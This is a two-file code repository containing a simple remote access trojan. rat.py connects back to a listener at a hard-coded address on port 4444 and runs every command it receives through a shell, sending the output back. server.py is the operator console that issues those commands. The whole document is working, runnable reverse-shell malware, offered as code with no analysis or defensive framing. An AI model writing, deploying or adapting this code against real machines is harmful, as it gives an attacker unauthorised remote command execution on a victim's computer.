├── rat.py └── server.py /rat.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import subprocess 4 | 5 | SERVER = "192.168.1.221" 6 | PORT = 4444 7 | 8 | s = socket.socket() 9 | s.connect((SERVER, PORT)) 10 | msg = s.recv(1024).decode() 11 | print('[*] server:', msg) 12 | 13 | while True: 14 | cmd = s.recv(1024).decode() 15 | print(f'[+] received command: {cmd}') 16 | if cmd.lower() in ['q', 'quit', 'x', 'exit']: 17 | break 18 | 19 | try: 20 | result = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) 21 | except Exception as e: 22 | result = str(e).encode() 23 | 24 | if len(result) == 0: 25 | result = '[+] Executed'.encode() 26 | 27 | s.send(result) 28 | 29 | s.close() -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | 4 | SERVER = "192.168.1.221" 5 | PORT = 4444 6 | 7 | s = socket.socket() 8 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 9 | s.bind((SERVER, PORT)) 10 | 11 | s.listen(1) 12 | 13 | while True: 14 | print(f'[*] listening as {SERVER}:{PORT}') 15 | 16 | client = s.accept() 17 | print(f'[+] client connected {client[1]}') 18 | 19 | client[0].send('connected'.encode()) 20 | while True: 21 | cmd = input('>>> ') 22 | client[0].send(cmd.encode()) 23 | 24 | if cmd.lower() in ['q', 'quit', 'x', 'exit']: 25 | break 26 | 27 | result = client[0].recv(1024).decode() 28 | print(result) 29 | 30 | client[0].close() 31 | 32 | cmd = input('Wait for new client y/n ') or 'y' 33 | if cmd.lower() in ['n', 'no']: 34 | break 35 | 36 | s.close() --------------------------------------------------------------------------------